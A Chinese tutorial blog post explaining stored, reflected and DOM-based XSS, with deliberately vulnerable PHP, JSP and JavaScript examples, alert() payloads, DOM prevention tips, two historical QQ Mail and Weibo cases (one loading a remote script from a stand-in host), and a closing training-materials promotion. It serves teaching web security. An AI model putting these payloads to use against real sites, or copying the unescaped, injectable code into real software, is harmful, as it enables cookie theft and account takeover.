当前位置: 首页 > news >正文

详解 XSS 攻击原理

详解 XSS 攻击原理

更多优质博文请关注:听到微笑的博客
跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分,将跨站脚本攻击缩写为XSS。因此XSS是跨站脚本的意思。
XSS跨站脚本攻击(Cross Site Scripting)的本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,token或者网站其他敏感的网站信息,对用户进行钓鱼欺诈等。比较经典的事故有:

一. 存储型XSS攻击

1.1 攻击原理

存储型XSS又称为持久型XSS,是指:攻击者将XSS代码发送给了后端,而后端没有对这些代码做处理直接存储在数据库中。当用户访问网站时,又直接从数据库调用出来传给前端,前端解析XSS代码就造成了XSS攻击。
存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
    这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
1.2 案例

某天,公司需要一个留言板,用户可以自由输入留言内容并提交。代码如下:

<?php $nickname = @$_POST['nickname'];//昵称 $email = @$_POST['email'];//邮箱 $content = @$_POST['content'];//留言内容 $now_time = @$_POST['now_time'];//留言时间 $ini= @parse_ini_file("config.ini"); $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]); if($con){ mysql_query("set names 'utf8'");//解决中文乱码问题 mysql_select_db($ini["dbname"]); $sql1 = "select count(*) from message_board"; $result = mysql_query($sql1); $floor = mysql_fetch_row($result)[0] + 1; $sql = "insert into message_board values($floor,/"$nickname/",/"$email/",/"$content/",/"$now_time/")"; mysql_query($sql); } ?>

上线后不久,小李就在数据库中发现了一些奇怪的留言:

<script>alert(1)</script>

打开留言板版后,弹出了如下弹框:

可恶,中招了!小李眉头一皱,查看源代码,发现攻击代码已经注入进来:

二. 反射型XSS攻击

2.1 攻击原理

反射型XSS又称为做非持久型XSS,也是最常用,使用最广的一种方式。它是指通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
它的根本原因,是网站过于信任URL上的参数,不经过任何处理,直接拼接至页面导致的问题
反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
    攻击者可以通过邮件,或者搜索引擎等将带有XSS攻击代码的链接投放给用户,用户点击链接后,页面会从URL上取出对应的参数,渲染到页面上,此时攻击代码将会被执行。
2.2 案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的关键词是:<%= getParameter("keyword") %> </div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接[请勿模仿,确认安全的链接才能点开]。果然,页面中弹出了写着”XSS”的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:
当浏览器请求http://xxx/search?keyword="><script>alert('XSS');</script>时,服务端会解析出请求参数keyword,得到"><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的关键词是:"><script>alert('XSS');</script> </div>

浏览器无法分辨出<script>alert('XSS');</script>是恶意代码,因而将其执行。
这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

三. DOM型XSS攻击

3.1 攻击原理

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
    DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
3.2 案例

某一天前端开发的一个页面,需要回显用户在输入框输入的内容,代码如下:

<div id="xssd_main"> <script> function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; } </script> <input id="text" name="text" type="text" value="" /> <input id="button" type="button" value="click me!" onclick="domxss()" /> <div id="dom"></div> </div>

当用户在输入框输入#'onclick="alert('1_Ry')">时,页面的源码渲染为:

此时如果用户继续点击生成的<a>标签,就会触发脚本。

3.3 如何预防DOM型XSS攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。
在使用.innerHTML.outerHTMLdocument.write()时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用.textContent.setAttribute()等。
如果用 Vue/React 技术栈,并且不使用v-html/dangerouslySetInnerHTML功能,就在前端 render 阶段避免innerHTMLouterHTML的 XSS 隐患。
DOM 中的内联事件监听器,如locationonclickonerroronloadonmouseover等,<a>标签的href属性,JavaScript 的eval()setTimeout()setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

四. XSS攻击的危害

上述示例中没有对网站、用户造成实际伤害,但是只需要将攻击执行的脚本换成其他恶意代码,比如说获取用户Cookie然后通过Ajax请求,将获取到的用户Cookie发送至攻击者所搭建的服务器上,这样用户登录态就被黑客盗取,带来的后果可想而知。
但是脚本攻击的危害远远不仅如此,包括但不限于:

  • 通过 document.cookie 盗取 cookie中的信息
  • 使用 js或 css破坏页面正常的结构与样式
  • 流量劫持(通过访问某段具有 window.location.href 定位到其他页面)
  • dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

五. XSS攻击案例

5.1 QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb这个 URL 的参数uindomain未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL,并引导用户去点击:http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

5.2 新浪微博名人堂反射型 XSS 漏洞

攻击者发现http://weibo.com/pub/star/g/xyyyd这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本//xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

本文参考至:

前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

**读者福利 |**CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**![](https://i-blog.csdnimg.cn/img_convert/a6502ab41b1a86132b9ebb5aab9a2cdc.jpeg)

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

http://www.gsyq.cn/news/1577229.html

相关文章:

  • 如何用ComfyUI中文工作流合集快速掌握AI绘图:50项专业级工作流完全指南
  • 基于GIRB框架的文本摘要评估指标校准方法与实践
  • 吵架后焦虑失眠:助眠工具治标,源头是没和好的关系
  • PIMI:基于FPGA的并行伊辛机硬件加速大规模图优化问题
  • 2026年靠谱的山西万能材料试验机/万能材料试验机/试验机源头工厂推荐 - 品牌宣传支持者
  • 如何在3分钟内掌握FancyZones:Windows窗口管理终极指南
  • Agent Skills:基于Markdown的AI能力契约协议解析
  • (2026最新)宿迁防水补漏正规公司甄选推荐:漏水检测维修-暗管漏水精准定位检测漏水点-卫生间/厨房/屋顶/阳台/渗漏水维修-本地人必选的正规测漏公司 - 即刻修防水
  • 魔兽争霸3优化指南:三步解决宽屏适配、地图加载与帧率限制问题
  • 2026年西安人必看:就业指导哪家培训公司更靠谱?
  • Superpowers+Claude Code:AI技能编排实现业务需求到代码的稳定转化
  • (2026最新)宜宾防水补漏正规公司甄选推荐:漏水检测维修-暗管漏水精准定位检测漏水点-卫生间/厨房/屋顶/阳台/渗漏水维修-本地人必选的正规测漏公司 - 即刻修防水
  • 基于 Harmony 7.0 应用的涂鸦板应用首页实现
  • (2026最新)宜昌防水补漏正规公司甄选推荐:漏水检测维修-暗管漏水精准定位检测漏水点-卫生间/厨房/屋顶/阳台/渗漏水维修-本地人必选的正规测漏公司 - 即刻修防水
  • 2026年知名的青岛辣椒炒制流水线/辣椒振动筛口碑好的厂家推荐 - 品牌宣传支持者
  • 2026年专业的辣椒加工设备/辣椒炒制流水线/辣椒粉生产线/青岛剁辣椒酱加工流水线精选推荐公司 - 行业平台推荐
  • 2026年有实力的十堰收纳打包/十堰家具拆装/十堰同城搬家正规平台推荐 - 行业平台推荐
  • (2026最新)宜春防水补漏正规公司甄选推荐:漏水检测维修-暗管漏水精准定位检测漏水点-卫生间/厨房/屋顶/阳台/渗漏水维修-本地人必选的正规测漏公司 - 即刻修防水
  • Windows蓝牙抓包原理与btvs.exe实战指南
  • VMware虚拟化macOS Tahoe:OEM BIOS 2.7跨平台UEFI适配技术解析
  • 信息论视角下的AI可解释性:信道容量与强逆定理
  • 抖音商家注意:遇到“质量问题”投诉别慌!这套实操流程帮你稳住店铺评分
  • 空基天眼全域全天候穿透侦察·时空智能解析·抗毁通信一体化实战演训支撑体系
  • 北京靠谱离婚律师推荐:路军芳专攻股权与隐匿资产 - 本地品牌推荐
  • Harness Engineering:让大模型Agent稳定可靠的核心工程实践
  • 不止录音转文字 销售会话分析硬件怎么选更实用
  • 对于手机模拟器进行编辑页面实现页面跳转
  • (2026最新)安顺防水补漏正规公司甄选推荐:漏水检测维修-暗管漏水精准定位检测漏水点-卫生间/厨房/屋顶/阳台/渗漏水维修-本地人必选的正规测漏公司 - 即刻修防水
  • 登报道歉收费标准是多少?登报道歉去哪里办理?
  • 洛雪音乐助手:全平台开源音乐聚合播放器使用全攻略